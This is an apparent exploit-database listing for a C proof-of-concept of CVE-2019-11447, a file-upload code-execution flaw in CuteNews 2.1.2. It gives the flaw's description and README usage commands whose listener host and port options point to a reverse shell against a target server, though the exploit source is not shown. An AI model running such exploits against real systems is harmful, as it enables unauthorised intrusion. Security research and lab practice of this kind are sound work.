CVE-2019-11447 PoC — 编号重复

Source

https://github.com/ojo5/CVE-2019-11447.c

Associated Vulnerability

Title: 编号重复 (CVE-2019-11447)
Description:An issue was discovered in CutePHP CuteNews 2.1.2. An attacker can infiltrate the server through the avatar upload process in the profile area via the avatar_file field to index.php?mod=main&opt=personal. There is no effective control of $imgsize in /core/modules/dashboard.php. The header content of a file can be changed and the control can be bypassed for code execution. (An attacker can use the GIF header for this.)

Description

CVE-2019-11447 written in C

Readme

# CVE-2019-11447 PoC

## Overview
This C program is a proof-of-concept (PoC) for exploiting CVE-2019-11447, an arbitrary file upload vulnerability in CuteNews. This PoC is designed to be used on the Hack The Box platform.

### Usage
Compile the program using gcc:

```bash
gcc -o exploit exploit.c -lcurl
```

Run the compiled program with the following command-line arguments:

```bash
./poc_exploit -t TARGET -u USERNAME -p PASSWORD -lh LISTENER_IP -lp LISTENER_PORT -f FILENAME
```

#### Parameters
-t, --target : Target IP address or domain (required)
-u, --uname : Username (required)
-p, --passw : Password (required)
-lh, --lhost : Listener IP address (required)
-lp, --lport : Listener Port (default: 4444)
-f, --file : Filename for payload WITHOUT extension (default: payload)

#### Example
```bash
./poc_exploit -t example.com -u admin -p pass -lh 192.168.1.1 -lp 4444 -f mypayload
```

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →